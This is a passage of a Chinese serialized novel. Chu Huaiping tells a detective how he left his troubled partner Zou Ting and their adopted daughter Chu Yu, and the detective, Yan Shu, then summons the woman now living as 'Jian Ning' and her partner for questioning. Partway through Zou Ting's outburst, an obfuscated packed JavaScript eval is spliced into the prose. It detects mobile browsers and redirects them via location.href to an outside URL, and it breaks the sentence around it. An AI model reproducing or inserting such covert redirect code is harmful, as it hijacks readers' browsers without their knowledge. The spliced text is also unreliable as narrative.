而那个家,也就此成了一个他无法离开,也无法回去的囚笼。 和邹婷之间那道名为猜忌、控制和绝望的鸿沟,已经深不见底,再也无法跨越。他们被牢牢锁死在这个彼此折磨、互相消耗的循环里,眼睁睁看着曾经存在过的温情一点点腐烂、风化,最终只剩冰冷的废墟。 ———————————— 生活的齿轮依旧在令人窒息的循环中咔哒转动,直到一个曾经试图推动它转向的人,再次出现。 是当年那个给楚怀平和周欣牵过线的,姓冯的后勤领导。 几年过去,他头发白了不少,看楚怀平的眼神里少了当初的期许,多了复杂的感慨。有一天,他把楚怀平叫到仓库后面僻静的角落,递了根烟。 “小楚啊,”他深深吸了口烟,烟雾模糊了他的表情,“这日子......咋就过成这样了?” 楚怀平低头看着地面,水泥缝里钻出了几根顽强的杂草。他扯了扯嘴角,没说话。能说什么呢?一切都是他自己选的,怨不得人。 老冯见他不语,叹了口气,又像是闲聊般提了一句:“周欣那姑娘......后来相了几次,都没成,听说还单着呢。”他顿了顿,观察着楚怀平的表情,语带试探,“人嘛,走错一步不怕,怕的是在错路上一走到黑。你还年轻......自己掂量掂量吧。” 楚怀平夹着烟的手指微微一颤。 他明白领导的意思。这个曾经看好他、给过他“好出路”的长辈,或许觉得眼前这摊烂泥还有另一种解法——抛弃现在这个“不正常”的,回头去找那个“正常”的。 可他不能这样。 他摇了摇头,烟灰簌簌落下:“冯叔,路是我自己走的,我得自己担。而且孩子都这么大了,不能再......祸害别人了。” 老冯看着他良久,重重叹了口气,像是不解,又像是惋惜:“你们这些年轻人啊......情情爱爱的,至于吗?就踏踏实实过日子,不成吗?”他把烟蒂踩灭,拍了拍楚怀平的肩,没再说什么,只留下一声悠长的叹息。 楚怀平站在原地,直到指间的烟烧到尽头,烫了一下手指,才猛地惊醒。他不知道冯叔会不会把这次谈话,或者他如今的狼狈处境,透露给周欣。但他有种预感,那根断了几年的线,可能会就此再次被拾起。 预感很快成了现实。几天后,他接到了周欣的电话,声音平静,听不出情绪,只说了个时间和地点——当年他们第一次见面的那家小面馆。 周欣先到了,坐在靠窗的位置,面前放着一杯白水。她穿着一件素色的毛衣,头发简单地扎着,比起几年前,更添了几分沉静。两人对坐着沉默了很久,只有后厨传来的锅勺碰撞声和邻桌的吸溜声。 最终还是周欣先开了口,声音很轻,却像投入深潭的石子,开门见山:“我知道......小遇那孩子,不是你们的。” 楚怀平夹面的筷子猛地顿住,瞳孔骤缩,下意识地就要否认。 “你不用骗我。”周欣抬起头直视着他,眼神清澈,没有探究,也没有威胁,只有一种近乎悲哀的了然,“你喝醉那次,自己说的。只有我听到了,我没告诉任何人,以后也不会,你放心。” 楚怀平张着嘴,所有辩解的话都卡在了喉咙里。 “我没有其他的意思,你放心。”周欣的语气依旧平静,细听之下却带着一丝不忍,“我只是......看着你现在这个样子,心里不好受。” 她停顿了一下,似乎在斟酌词句:“怀平,你觉得自己在负责,在赎罪,对吗?觉得这条路是自己选的,再难也要走下去,为了孩子,为了当年的......情分。” 楚怀平喉结动了动,没有否认。这确实是他混乱思绪里,唯一能抓住的、支撑自己走下去的模糊理由。 “可你有没有想过,”周欣的声音放得很轻,却字字清晰,“你只是在消耗自己。用你的责任,你的忍耐,你的疲惫,去填一个根本填不满的窟窿。你救不了她们,也救不了那个家,你只是在陪着它一起下沉。照这么下去,最后不但那个家、那个孩子完了,你自己......也没了。” 楚怀平的心脏像是被一只冰冷的手攥紧了。这些念头,他并非完全没有闪过,却从不敢如此清晰、如此残酷地去面对和确认。 他一直觉得,直面......才是逃避。 周欣有些不忍,但还是问出了那个最关键的问题:“你觉得,你们这样......还能走下去吗?” 沉默。长久的沉默。面汤的热气在他们之间袅袅上升,又缓缓消散。楚怀平低下头,看着碗里已经坨了的面条。 答案其实早就有了——在他一次次躲回宿舍的夜里,在那把菜刀的寒光闪过眼前时,在他面对女儿天真的眼眸,却感到无比沉重时。 只是他不敢说不,仿佛一说出口,就是彻底的背叛与毁灭。 愧疚像藤蔓缠绕着心脏——对一同长大的邹婷,对被“捡”来却无法给予安稳的女儿,甚至对眼前这个明明可以置身事外,却还来劝他的周欣。 除此之外,还有恐惧——对未知的恐惧,对打破现状可能引发的、更可怕后果的恐惧。 可他的沉默,本身就是答案。 周欣看着他挣扎痛苦的神情,眼底闪过一丝复杂的心疼。她不是来趁虚而入的,那点未曾完全熄灭的情愫,在现实的沉重和对方的境遇面前,早已升华成一种旁观者清的悲悯。 “楚怀平,”她轻轻叫他的名字,“我知道你还念着旧情,也放不下孩子。我也......不是来劝你做什么违背良心的事。” 她停顿了一下,语气变得更加恳切:“我只是想说......当断不断,反受其乱。你们现在这样互相拖着,越陷越深,最后只会害了你们自己,更害了小遇。” 提到孩子,楚怀平的眼睫剧烈地颤动了一下。 “至少,”周欣轻轻叹气,有些不忍,“想办法给孩子一个稍微正常点的环境吧。大人的恩怨纠葛,不该把她卷进来,让她从小就在这种......可怕的气氛里长大。” 楚怀平苦笑,声音沙哑:“我试过......我想过带小遇暂时离开。可她......已经离不开孩子了。她抓不住我,孩子就成了她的命根子,是她的支柱。我提过一次......”他又想起了那把明晃晃的菜刀,还有那双疯狂的眼睛,后面的话化作了心有余悸的颤抖,咽了回去。 周欣默然。面馆里的人来了又走,带起阵阵喧嚣,可这一角的沉默,重得能压垮时光。 最后,周欣缓缓开口,说了几句让楚怀平很多年后都无法忘记的话: “怀平,当年你拒绝我,我虽然伤心,但不恨你。因为我知道,你是不想更对不起我,不想明明心里有别人,还拖着我。” 她抬起眼,目光清澈见底,仿佛要直直看进他混乱痛苦的灵魂深处。 “可你现在,对邹婷,对孩子,甚至对你自己......这种不拒绝、不决断、不清不楚的‘负责’,才是最大的伤害。你以为是重情重义,其实只是不敢而已——不敢面对彻底离开的罪疚感,所以就选择让痛苦慢慢发酵,拉着大家一起窒息。” “你拒绝我,是不想更对不起我。同理,你现在不拒绝这种生活,也是对所有人——包括邹婷——更深的对不起。” 话音重重落下,敲在楚怀平早已不堪重负的心防之上。 面汤的热气还在袅袅上升,周围人声依旧嘈杂,楚怀平却只觉得冷,刺骨的冷。 直面与逃避,竟成一体两面。 ———————————— 决定是在一个异常平静的午后做出的。没有激烈的思想斗争,没有痛苦的权衡,只有一种近乎麻木的、走到悬崖边不得不转身的清醒。 楚怀平跑完最后一趟长途,把车稳稳交回厂里,又仔细清洗了手上的油污。回到那个曾经承载过短暂温暖、如今却只剩窒息的小院时,夕阳正把院墙染成一片凄艳的橘红。 邹婷正在院子里收衣服,女儿蹲在墙角玩着几颗光滑的鹅卵石,嘴里咿咿呀呀地说着什么。 楚怀平站在门口看了几秒钟,终于深吸一口气,走了进去。 “小婷,”他的声音干涩,但异常平静,“来客厅吧,我有话跟你说。” 邹婷抱着衣服的手顿了顿,转头看他。或许是捕捉到他语气里不同寻常的决绝,她脸上那种惯常的、带着审视的平静消失了,取而代之的是一种骤然而起的警惕和不安。她放下衣服,拍了拍手上的水,跟着他走进了客厅。 楚怀平没有坐。他站在屋子中央,背对着窗外的光,脸藏在阴影里。他深深望着邹婷,眼眶开始不受控制地泛红。 可他必须要说了。他必须承认失败,承认无能为力,然后......离开。 “我们......”他终于开了口,声音低沉得像从胸腔里碾出来,“不能再这么......过下去了。” 邹婷的眼睛猛地睁大,嘴唇瞬间失去了血色。 “从今天起,”楚怀平避开她的视线,目光落在斑驳的地面上,每一个字都说得很慢、很重,仿佛用尽了全身力气,“我们......就算断了吧。” “砰!” 一个搪瓷杯被狠狠砸在他脚边的地上,碎片和冷水溅湿了他的裤脚。邹婷的呼吸变得粗重,胸口开始剧烈起伏。 楚怀平却没动,继续说着早已在心里演练过无数遍、却依然艰难无比的话:“房子......留给你和小遇。我每个月发了工资,会把大部分钱送过来,一定不会让你们过不下去。”他语速加快,像是怕自己中途失去勇气,“你......要好好照顾自己,也要照顾女儿。” “断了?”邹婷的声音尖利地拔高,带着难以置信的颤抖和瞬间爆发的狂怒,“楚怀平!你说断了?!你终于说出来了!你早就想跑了是不是?演了这么多年,委屈你了!辛苦你了!” 她像一头被彻底激怒的困兽,猛地扑向旁边的矮柜,抓起上面一切触手可及的东西——几只新买的碗,一个铁皮饼干盒,女儿的塑料小鸭子——疯狂地朝他砸过来。东西没有准头,乒乒乓乓地落在墙上、地上、他的身上,碎片四溅。 “你不要我了!”她眼睛赤红,泪水汹涌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17359419|199629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而出,混合着疯狂的怒意,“你不要这个家了!你不要我们了!你这个骗子!懦夫!当年谁说一直是我哥的?是谁?是谁?!” 凳子被掀翻,桌上的瓶瓶罐罐被扫落在地,甚至女儿刚刚还在玩的、楚怀平上次出车带回来的毛绒小狗,也被她一把抓起,狠狠撕扯,棉絮飘散在空中。 “滚!你滚!”她一边砸,一边嘶吼,声音破碎不堪,“去找你的周欣!去找你那些莺莺燕燕!我不稀罕!我邹婷,离了你也死不了!” 楚怀平没有躲,只是站在原地,任由那些飞溅的碎片和恶毒的话语砸在身上。一块碎瓷片划过他的额角,温热的血渗了出来,他却感觉不到疼,只有一种深沉的、冰冷的悲哀。 他看着这个从小护到大、曾以为会共度一生的女人,看着她眼中那熟悉的偏执一点点被绝望和恨意彻底点燃,却只能愣愣地站在那里,无能为力。 邹婷砸光了手边能砸的东西,开始用力推搡那张木桌,桌子腿在地上刮出刺耳的噪音。最终,她似乎耗尽了所有力气,动作慢了下来,渐渐停住。 她站在一片狼藉中,胸口剧烈起伏,散乱的头发粘在泪湿的脸上,眼神空洞地望向他,不再嘶吼,只是喃喃地、一遍又一遍地重复,声音低得宛如呓语: “你不要我了......你,也不要我了......” 缩在客厅角落里的楚遇早已被这可怕的场面吓坏了,小脸煞白,张大嘴巴却发不出声音,大颗大颗的眼泪无声地往下掉,小小的身子抖得像风中的落叶,看看失控的母亲,又看看沉默的父亲。 楚怀平的目光慢慢掠过满屋狼藉,掠过爱人失魂落魄的面庞,最终定格在女儿恐惧无助的小脸上。那一瞬间,心脏像是被狠狠捅了一刀,尖锐的疼痛让他几乎站立不稳。他想走过去抱起那个孩子,想擦掉她的眼泪,想告诉她爸爸不是不要她...... 但他不能。他知道,任何一点迟疑和靠近,都会让这场早已注定的、痛苦无比的分离变得更加漫长惨烈。他留在这里,只会带来更多伤害。 楚怀平最后深深地看了女儿一眼,眼神里有着无法言说的痛楚和歉疚。然后,他转过身,拖着仿佛有千斤重的双腿,一步步地走向门口。额角的血滴了下来,落在他的衣领上,晕开一小团暗色。 他没有回头。 背对着那片废墟,楚怀平一步一步,走出了这个曾亲手参与搭建、又亲眼见证崩塌的家。那脚步异常沉重,每一步,都像踩在自己碎裂的心上。 “咔哒”一声轻响,隔开了两个世界。 那一年,楚怀平二十二岁,终于到了法定婚龄,却又孤身离去,带着将伴他一生的负担——对邹婷无法消弭的复杂歉疚,以及对楚遇深植骨髓的亏欠。 那一年,邹婷二十岁,再次被自己认定的“家人”遗弃,偏执的堡垒彻底崩塌,开始化为囚禁理智的废墟。 而三岁的楚遇,在那个充满破碎哭泣和绝望嘶吼的黄昏之后,似乎一夜之间忘记了如何放声大哭。她变得异常安静,小心翼翼,常常一个人躲在角落里,捏着几颗冰冷的鹅卵石,黑葡萄似的眼睛里,逐渐开始沉淀不属于这个年龄的、过早降临的惊惶与迷茫。 曾经在福利院天井边相互依偎的两个孤儿,曾经在昏暗小屋里生涩亲吻的少年男女,曾经因为一个弃婴而仓促构筑起“家”的年轻父母...... 那些无法厘清的痛与爱、情与责,终于在永无休止的消耗和无法调和的绝望中,彻底崩裂。 从此,他们成了彼此生命中最熟悉,也最疼痛的陌路人。 ———————————— 楚怀平回到了修理厂的那间宿舍。空间逼仄,气味浑浊,但呼吸是自由的。他重新过起了近乎苦行僧般的生活:上班,出车,下班,将工资的大部分按时汇到那个熟悉的地址,余下的仅够维持基本的生活。日子单调、清苦,却也意外地获得了一种破碎后的平静——不再有猜忌的盘问,不再有深夜的争吵,不再需要时刻提防触碰某条看不见的引线。 老冯和一些老师傅隐约知道内情,看他时眼神复杂,但也不再多问。 周欣重新出现在他的生活里,像一株安静的植物,缓慢而自然地生长进来。没有刻意,没有宣言,只是在某个他加班后的傍晚,又递过来一个仍然温热的饭盒。他们的相处,和多年前一样平淡,仿佛中间那些汹涌的岁月从未存在,只是在偶尔对视的瞬间,能从彼此眼里看到某种相似的、被生活打磨过的沉静。 在老冯和一些老师傅的默认与撮合下,他们最终结婚了。没有多余的仪式,只在食堂多炒了几个菜,请了最熟的几个人。之后,他们有了自己的孩子,一个健康活泼的男孩。生活开始被奶粉、尿布、孩子的啼笑填满,忙碌、琐碎,却沿着一种清晰而安稳的轨道向前运行。 楚怀平慢慢成了一个在外打拼、话不多、但可靠的丈夫和父亲。那段充斥着猜忌、嘶吼和菜刀寒光的过往,仿佛已被深深埋藏,成了绝口不提的旧伤。 他会偶尔绕路去那间小院外站一会儿,远远看着楚遇单薄的背影进出,看她沉默地坐在门槛上,头发被风吹乱。他知道楚遇过的很不好,但他没有办法,唯一的弥补只能是不间断地汇款。 刚开始,他还会在汇款单附言栏里,笨拙地写上“给小遇买点吃的”或者“天冷了添衣”,但随着时间的流逝,这几个字也开始渐渐隐去。信封投进去,便完成了沉默的供养。 楚怀平和周欣第二个孩子出生后,周欣的父母介入了,态度明确而坚决:必须和“那边”彻底断干净。周欣当年说到做到,对楚遇的身世始终缄口不言,可这沉默在老两口眼里就成了委屈——觉得女婿心底始终放不下他的“第一个孩子”。 这次楚怀平没再说什么,情绪仿佛已在曾经的撕扯中透支殆尽,只剩一片荒芜的平静。 他同意了。或者说,他终于找到了一个可以让自己“同意”的理由。 一个暮色四合的傍晚,他最后一次回到那个小院,收拾了自己剩余的所有东西,随后在邹婷的咒骂声中缓缓离去。 他带上门,却在转身的那一刻,看见了楚遇。 暮光给她单薄的身形镀上了一层柔和的边,那个曾经裹在襁褓里的女婴,已开始有了几分少女模样。 过往的回忆汹涌而来,将楚怀平短暂地定在原地。可最终,他只是望着那双枯寂的丹凤眼沉重叹息,什么也说不出来。 他抬手拍了拍楚遇的肩膀,随后转身而去,再未回头。 那天之后,他再也没有出现在二人面前。汇款的邮局也换了,选在离那间小院最远的一个,以避免任何偶然的相遇。钱到,意味着责任未尽,也意味着......不必再见。 但小镇有它自己的记忆和审判。 “楚怀平”这个名字,在街坊茶余饭后的闲谈里,开始与“没良心”、“抛妻弃女”、“在外头攀了高枝”划上等号。人们看见他沉默地进出卡车厂,看见他日渐冷硬的神情,更觉得佐证了这些猜测。一个抛弃幼女和发妻的男人,在任何地方都是天然的道德洼地,足以供人肆意倾泻廉价的正义。 周欣性格使然,从不为此辩解半句,只是如常生活,照旧接送孩子、上下班,对任何探询的目光回以平静的颔首。楚怀平更是始终沉默,无论外界如何用唾沫将他淹没,他也从不辩白,从不解释。 因为这涉及了那个核心的秘密。 任何辩白都可能滑向真相的边缘,而那无异于将最锋利的刀,捅进那个已然遍体鳞伤的孩子心中。他的沉默,是能为楚遇做的,最后的守护。 过去楚遇曾不止一次地问过他为什么要这样。楚怀平看着女孩澄澈却染着悲伤的双眼,始终无法作答,最后只能深深叹息,一次次地不了了之。 而另一端的邹婷,在岁月、情绪与酒精的反复撕扯之下,精神世界的堤坝时有溃散。她会在深夜里突然惊醒,对着空荡的房间喃喃自语,也常常在面对女儿时,失控地扬起手。 但无论她的精神世界如何飘摇恍惚,如何在绝望与怨恨里反复煎熬,甚至即便在失控的殴打痛骂之中,也从未对女儿吐露过半分真相。 这或许是她混乱的意识里,最后一点清醒。 这个秘密,成了两个陌路之人沉默的共识,也是仅剩的羁绊。 这守护本身并无温度,甚至可能带着些许残忍。可它确确实实地存在着,即便照不亮前路,也让这漫长的坠落,不至于彻底归于无声的黑暗。 30.叁拾 漫长的叙述在楚怀平一声沉重的叹息中结束。烟灰缸里不知不觉积满了烟蒂,客厅之中云雾缭绕,一时间落针可闻。 对面两人陷入了更深的沉默。严疏指间夹着烟,透过氤氲的雾气,望向楚怀平那张被岁月和往事蚀刻的脸,心下无声喟叹——感情,又是感情。 谁能想到,这样一个沉默寡言、在乡邻唾弃中活了半辈子的男人,竟也藏着一场如此惊心动魄、足以颠覆人生的爱恨纠缠。 可细想之下,其实也不难理解——风花雪月,从来不分贵贱高低。 严疏能大致勾勒出楚怀平与邹婷之间的孽缘纠葛,也能体会他身陷其中的两难。但他无法原谅那个决定——收而不养,岂非铸造孽果? 而如今这“孽”,已结出了一枚畸形、缜密、视人间规则如无物的“果”。 更棘手的是,她已在法律意义上将自己彻底“注销”——无父无母、无根无源,成了一缕真正意义上的孤魂野鬼,随风飘荡,好像再无任何世俗的绳索能将她拉回。 想到这里,严疏烦躁地摁灭烟头,吐出的烟圈都带着一股浊重的郁气。 他的计划彻底落空了——再没有什么,能证明“楚谕”依然存活于世。那个女人不仅谋害了名为“简宁”的个体,更将挣扎求存的“楚遇”、欣欣向荣的“楚谕”,全部付之一炬,烧了个干干净净。 她杀死了简宁,杀死了楚遇,杀死了楚谕,而后自这三重灰烬之中游曳而出,从此再无来处,唯余归途——连法律这最后一张网,竟也无法将她打捞。 出发前在赵队面前那份近乎悲壮的决绝,此刻回想,像一记响亮的耳光抽在自己脸上。那份破釜沉舟的决绝,一路孤行的悲壮,此刻全都噎在了喉头,化作一片冰凉的荒谬。 熟悉的无力感再次漫上肢骸。屡战屡败令他身心俱疲,却又有股无名火在骨髓里阴燃。 可这一次,他仿佛真的无路可走了。 严疏不得不再次逼问自己那个核心问题——“简宁”这个身份,对“楚谕”而言,究竟有何种魔力?为什么她机关算尽,非要成为一个截然不同的人? 他叹了口气,转向楚怀平:“所以......她自始至终,都不知道自己的身世?” 楚怀平摇头,面容苦涩:“除非去翻那些旧档案,否则这事只有我、邹婷,还有我那口子知道。我们打定了主意,绝不告诉她......她已经够苦了,要是连这点儿根都被刨掉,唉......” 一旁静听的李涵早已收起了先前的轻蔑,此刻愁眉紧锁,跟着叹了口气。 这接连的两声叹息,却像火星溅入迷雾,忽然点亮了严疏脑中的某个盲区—— 楚遇当年离家后,改了名字,还和宋朗订了婚。每一步,分明都在奋力挣脱灰暗的过往,试图将自己嵌入一个光鲜、体面、正常的,名为“楚谕”的未来。 那条路几乎铺到了终点。只要再向前一步,与宋朗完婚,她就能触摸到那个名为“崭新人生”的彼岸。 那么,究竟是什么,让她在临门一脚时突然调转了方向,费尽心思策划了一场焚身之火,只为将“楚谕”这个身份连同其承载的所有过去,烧得干干净净? 严疏缓缓闭上眼,一声叹息逸出唇边。 焚身换骨,或许从来不是为了“成为”谁,而是为了彻底“不再是”谁。选择简宁,除却那几分似是而非的容颜,更多的,大概是因为......她在这世间仅剩的锚点,在她那里。 ———————————— 从楚怀平家出来,两人钻进车里,却没有立刻发动引擎。狭小的空间被一种沉重的静默填满,混合着从楚怀平家带出来的、未散的烟味。 良久,李涵终于按捺不住,侧过头问:“师父,咱们现在......该怎么办?” 严疏望着窗外灰扑扑的街景,缓缓摇了摇头。 李涵烦躁地挠了挠头,眼睛忽然一亮:“那......咱们去找找简宁的亲属?总能......” “没用。”严疏打断他,声音里透着一股深沉的疲惫,“我查过了。简宁的直系亲属只剩个母亲,早就糊涂了,住在养老院,自己是谁都记不清。这种情况下,连民事追诉的主体都没有,更别提刑事追索了。” 李涵哑然,半晌才忿忿憋出一句:“那就......真没辙了?咱们明明知道她......” “开车。”严疏简短地命令,同时也截断了他的话头,“没有证据,我们什么也不知道。” 车子重新驶入街道,车内的氛围却与来时那种带着隐秘使命感的紧绷截然不同,只剩下一片冰冷的茫然。 严疏看着李涵紧绷的侧脸和攥得发白的指节,忽然扯出一个笑:“我追这案子大半年了,十次有九次都是白跑,不也这么过来了?你才跟了几天,急什么。” 李涵仍然难掩愤懑,声音因激动而有些发颤:“师父,这算什么事儿啊!明知凶手就在那儿,却只能眼睁睁看着?她手上......可沾了人命!”他越说越气,一拳砸在方向盘上,鸣笛声刺耳地响起。 “好好开车!”严疏先皱眉呵斥,随即又嗤笑一声,“怎么,不服气?那回去你跟赵队打个报告,就说你凭直觉认定某人是杀人犯,申请立刻缉拿,你看他批不批?” 李涵被噎得脸一红,顿时语塞:“我......” 严疏却忽然叹了口气,带着一种李涵从未在他身上见过的、深切的茫然与挫败:“行了,别愤愤不平的。楚怀平这条线,是我最后能想到的、理论可行的路了。现在这路到了头,还是条死路。老实说,咱们......基本算是没戏了。” 李涵怔住了,他没想到严疏竟会如此直接地承认失败,一时有些无措:“您是说......就这么算了?可是......” “不。”严疏转过头,眼中那点颓唐很快消散,被熟悉的锐利取代:“流程走不通,不代表事情就结束了。这件事我一定要追到底,直到所有真相水落石出。” 他顿了顿,喉结滚动,像是将某种翻涌的情绪强行压回心底。随后,他缓缓开口,声音不高,却带着一种破釜沉舟的决绝:“回去之后,我要做一件事。” ———————————— “传唤?” 还没从严疏带回的惊人消息里缓过神,赵队又被这下一步的大胆想法震了一下。 严疏点头,语气没有半分犹疑:“是。现在所有外部线索都断了,又没正式立案,这已经是我们在程序框架内,最后能动用的手段。” 见赵队眉头紧锁,他继续解释:“赵队,这次真的完全符合程序。虽然她现在成了‘简宁’,又提供了一段几乎无懈可击的行程描述,但在这段叙述里,她就是最后见过楚谕的人。我们完全可以以此为由,请她来‘协助调查,了解情况’。” 赵队长长地叹了口气,揉了揉突突直跳的太阳穴。他是万万没想到,当初那场看似简单的火灾,竟会演变成如今这般复杂的局面。 他沉吟片刻,开口时带着审慎:“老严,不是我要卡你程序。但火灾案已经结了,没有新的、确凿的证据支撑,我们无权随意传唤公民——哪怕她确实是最后接触死者的人。” 严疏对此早有准备。他上前一步,从口袋里掏出那张一直随身携带的照片,轻轻推到赵队面前。 赵队拿起来细看:“这是?” 严疏指尖点向照片中驾驶座上的男人:“这是楚谕的车。现在的官方说法是,她当晚从酒吧独自驾车返回悦澜湾,途中曾停车与简宁交谈。但我追了沿途所有的监控,发现了一个不合理的空白——她的车在裕丰路拐进了一个地库,停留了超过二十分钟。最关键的是,当时开车的并非楚谕本人,而是这个男人。” 赵队挑起眉:“这人是谁?” 严疏摇头,语气里带着一丝被将了一军的挫败:“查过了,是个姓何的服务员,兼职代驾。但她那边显然早有防备,不知道用了什么方法让这人‘主动’回了老家,手机和所有社交账号也全部注销,线索彻底断了。立不了案,就没法查。” 赵队从鼻子里哼出一声冷笑,怒意隐隐:“嗬,还真跟警察周旋上了。” 见赵队态度松动,严疏立刻趁势推进:“这个发现虽然不足以推动立案或初查,但足以证明‘记录与事实可能存在出入’。我路上仔细研究了规定,用这个理由,足够我们传唤相关知情人进行询问。” 赵队盯着那张照片,目光锐利,仿佛要穿透那模糊的像素。良久,他终于松口,语气却逐渐沉重:“老严,传唤申请......我可以批。上面的流程,我帮你推。” 严疏心中一块巨石落地,刚要开口,却被打断。 “但是,”赵队话锋一转,目光复杂地看向他,叹道:“有一个点。” 严疏恢复沉静,点头示意赵队继续。 赵队经验老道,对规则和后果的权衡几乎在听完汇报的瞬间就已完成。此刻,他将利弊清晰地摊开在了严疏面前:“我明白你的打算,无非是想把人先弄进来,利用环境和压力制造心理缺口。这人毕竟做了亏心事,哪怕现场处理得再干净,但只要开口详细复述,就可能在细节里自相矛盾——尤其是在问询室那种地方。” 严疏颔首,这正是他的意图。 赵队手指在桌面上敲了敲,语气沉了下来:“但是,传唤程序必须建立在‘合理理由’之上。你那张照片,这次确实可以充当支点。可如果十二小时内你撬不出任何有价值的东西,想要再问,就得启动二次传唤——那就又需要一个新的、站得住脚的理由了。” 他直视严疏,目光里透着无奈与审视:“老严,你手里......有几张这样的‘照片’?” 严疏怔住了,随即陷入短暂的沉默。 确实,他的想法直白而迫切——先把二人带到问询室再说。在那种隔绝、高压的环境下,细细研磨那晚的每一分钟,他不信两个人编造的故事真能严丝合缝,毫无破绽。只要抓住一丝矛盾,就有机会撕开缺口。 但赵队的话像一记警钟,让他意识到了一个始终存在、却被他刻意忽略的事实——事情,不一定会按照他的预想发展。 事实上,可以说几乎从未按照他的预想发展过。即便他抓住了无数线头,甚至已在脑海中拼凑出了近乎完整的真相图景,但在现实层面,执法程序的进展...... 就是始终为零。 传唤,或许能打对方一个措手不及。可如果那两人扛住了,愣是没让他抓住任何把柄呢? 他的确......没有第二张能够证明矛盾的照片了。 而一旦正式传唤结束,程序上便视为了解已毕。除非能够启动二次传唤,否则警方人员不得再以任何形式私下接触被传唤人“了解情况”。这意味着,若这十二小时内一无所获,他将彻底失去合法接触二人的资格。 连目标都无法靠近,还谈何破案? 赵队见他神色,心知他已掂量清楚其中的分量。静默片刻后,他再次开口,声音郑重: “所以,你想清楚了?” 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片刻后,简宁率先打破了僵局。她身上那种曾让严疏暗自恼火的、游刃有余的松弛感消失殆尽,微哑的声音中透出了金属般的冷硬与清晰的不耐:“严警官,是真不懂什么叫‘适可而止’?” 严疏心中微微一动。这个变化,他清晰地感知到了——看来,他那看似徒劳的追索,并非全无回响。这副看似无懈可击的面具,终究还是出现了裂痕。 他暗自深吸一口气,将翻涌的复杂心绪强行压平,迫使自己呈现出公事公办的平静。 他以平稳、无可指摘的公务腔调,清晰地念出了传唤的正式措辞。 最后一个字音落下时,迟昼的身影从女人身后的阴影里缓缓浮现。严疏下意识抬眼望去,心头却微微一凛。 那个不久前看着已重整旗鼓、甚至有了几分“新生”气象的男人,此刻竟又变了一副模样。他面色憔悴,虽不似最初那般颓唐如朽木,但眉眼间沉积的阴郁却浓得化不开,仿佛已经浸入骨髓。上次的见面分明相隔不久,可他的变化之大,却足以令人心惊。 严疏先是愕然,随即,一丝冰冷的、近乎快意的念头不受控制地窜上心头。 他长久以来如困兽般的挣扎求索,虽然未能撼动程序的铁壁,但显然......已搅乱了这池伪装平静的浑水。 眼前二人一个冷若冰霜、一个形容枯槁,连这间曾精心布置得温暖妥帖的屋子,也再无一丝往昔的“安宁幸福”。 看着这幅大相径庭的景象,严疏竟感到一种......近乎报复的慰藉。 罪人与共犯,凭什么心安理得地享受圆满? 这个带着人性幽暗与复杂的念头一闪而过,让严疏暗自惊心——他知道,这不该是一个执法者应有的心绪。 他迅速将其按捺下去,重新摆出那波澜不惊的面孔。 大脑开始飞速运转——眼前这个女人,壁垒森严,难以攻克。那这个明显已现裂痕、仿佛站在崩溃边缘的迟昼呢?关于那场焚尽一切的大火,他究竟知道多少?而时至今日,他是否还愿意,或者说,还有心力,去做她沉默的、忠诚的共犯? 接下来的十二个小时里,或许就有答案。 自严疏开口,简宁便一直面无表情地听着,直到她微微侧首,瞥见了身后迟昼那无法掩饰的憔悴与沉寂。 她周身的气息肉眼可见地开始发沉,仿佛有寒霜瞬间凝结。她闭上眼,片刻后再睁开时,眼底最后一丝温度也消失了,声音里终于带上了压抑不住的、咬牙切齿的力道: “严警官,你究竟......想要什么?” 严疏直视着她那张五官柔和、此刻却每一寸线条都透着冷硬的面庞。许多答案在心头翻滚——他想要正义得以伸张,想要罪恶受到审判,想要亡魂得到告慰,想要证明这朗朗乾坤之下,自有不可逾越的公道。 可望着她眼中那片幽深无光、仿佛要吞噬一切的黑暗,他知道,这些宏大叙事于她而言已毫无意义。 她早已没了回头路,也从来不肯回头。 最终,他给出了最为朴素的回答:“真相。我要全部的真相,大白于天下。” 他向前逼近半步,目光如炬,字字清晰,如同掷下了最后的战书:“我要让作恶者,最终伏于法网之下。我要让他们明白,何谓......天理昭昭。” 女人站在门内的光影交界处,久久未动,时间一分一秒地流逝,紧绷的沉默几乎要凝固。 良久,她唇角忽然极其缓慢地勾起一个弧度,重新挂上了那副令人不适的舒展姿态,仿佛再一次,戴上了那张游刃有余的面具。 她望着门外的严疏,眼神极为奇特——那并非单纯的敌意或嘲讽,更像一种......居高临下的审视,却又混杂着些许难以言喻的疲惫,仿佛在无声翻阅一本黑白分明的童话。 就在严疏耐心耗尽,准备出声催促时,她终于开口了,声音里带着一种奇异的、深沉的喟叹,第一次完整地叫出了他的名字。 “严疏,你根本......什么都不懂。” 那语气太过复杂难辨,让严疏已到嘴边的催促生生噎住。胸中一股无名火再次窜起,他终究没能压住,硬声顶了回去:“或许吧。但我只要懂得追寻真相、恪守正义,也便够了。” 说完,他不再与这言行莫测的女人纠缠,转而将目光投向始终沉默如影的迟昼,侧身让开通道,声音恢复了公事公办的冷硬。 “二位,请吧。” 31.叁拾壹 前往刑警支队的路上,车内一片滞重的寂静,只有引擎低沉的嗡鸣。 严疏握着方向盘,目光笔直地望着前方,思绪却屡屡游离。表象上,他正驾驶着这辆车,将身后那涉事的两人送往程序与规则的战场;但实际上,他却觉得自己正划着一叶小舟,向着一片浓雾笼罩、暗流汹涌的海域前进。 自他介入,失控感便如影随形,愈演愈烈。每一次逼近,都仿佛在触碰一团裹着尖刺的虚无。 但此刻,他也没了回头路。沉默之下,是近乎偏执的坚定。 雨后的路面反着光,红绿灯的颜色被碾成一团,透过挡风玻璃晃进来,把车里三个人的脸映得忽明忽暗。 严疏能在后视镜里看见他们——一个镇定得过分,一个紧绷得过分。 刑警支队的灰色大楼远远出现在视线尽头时,他缓缓踩下刹车,调整方向,驶入院内。 车停稳。 直到这时,车内的空气才微微松了半分。 严疏下车站在车门旁,习惯性地抬眼看了看那栋楼——熟悉的玻璃、熟悉的摄像头、熟悉的铁门。 